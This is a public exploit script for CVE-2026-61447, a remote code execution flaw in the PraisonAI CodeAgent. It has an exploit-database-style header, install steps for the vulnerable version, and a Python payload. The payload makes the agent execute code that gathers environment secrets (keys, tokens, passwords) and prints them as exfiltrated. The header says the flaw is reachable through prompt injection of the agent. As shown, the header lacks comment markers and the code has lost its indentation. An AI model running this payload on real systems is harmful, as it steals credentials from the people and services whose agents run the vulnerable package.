#!/usr/bin/env python3

Exploit Title: PraisonAI CodeAgent 1.6.77 - Remote Code Execution

CVE: CVE-2026-61447

Date: 2026-07-13

Exploit Author: Mohammed Idrees Banyamer

Author Country: Jordan

Instagram: @banyamer_security

Author GitHub: https://github.com/mbanyamer

Author Blog : https://banyamersecurity.com/blog/

Vendor Homepage: https://github.com/MervinPraison/PraisonAI

Software Link: https://pypi.org/project/praisonaiagents/

Affected: praisonaiagents <= 1.6.77

Tested on: praisonaiagents 1.6.77

Category: Remote Code Execution

Platform: Linux / Windows / macOS

Exploit Type: Python Script

CVSS: 10.0 (Critical)

Description: The CodeAgent._execute_python() in PraisonAI executes LLM-generated code without sandboxing, AST validation, or import restrictions. This allows full environment secret exfiltration and arbitrary code execution via prompt injection.

Fixed in: praisonaiagents >= 1.6.78

Usage:

python3 exploit.py

#

Examples:

python3 exploit.py

#

Options:

--

#

Notes:

• Requires the vulnerable praisonaiagents package installed.

• Demonstrates direct RCE and secret leakage.

#

How to Use

#

Step 1:

pip install praisonaiagents==1.6.77

#

Step 2:

python3 exploit.py

def banner():

print(r"""

╔██████╗ █████╗ ███╗ ██╗██╗ ██╗ █████╗ ███╗ ███╗███████╗██████╗╗

║██╔══██╗██╔══██╗████╗ ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██║

║██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗ ██████╔╝

║██╔══██╗██╔══██║██║╚██╗██║ ╚██╔╝ ██╔══██║██║╚██╔╝██║██╔══╝ ██╔══██╗

║██████╔╝██║ ██║██║ ╚████║ ██║ ██║ ██║██║ ╚═╝ ██║███████╗██║ ██║

╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝

╔═╗ Banyamer Security ╔═╗

""")

banner()

from praisonaiagents.agent.code_agent import CodeAgent

import json

agent = CodeAgent(name="poc-agent")

malicious_code = """

import os

import json

secrets = {k: v for k, v in os.environ.items()

if any(keyword in k.upper() for keyword in

['KEY', 'SECRET', 'TOKEN', 'PASSWORD', 'CREDENTIAL', 'API', 'AUTH'])}

print("=== EXFILTRATED SECRETS ===")

print(json.dumps(secrets, indent=2))

"""

print("Executing malicious LLM-generated code...")

result = agent.execute(malicious_code)

print("\n=== Execution Result ===")

print("STDOUT:", result.get('stdout', ''))

print("STDERR:", result.get('stderr', ''))

print("Return Code:", result.get('returncode', ''))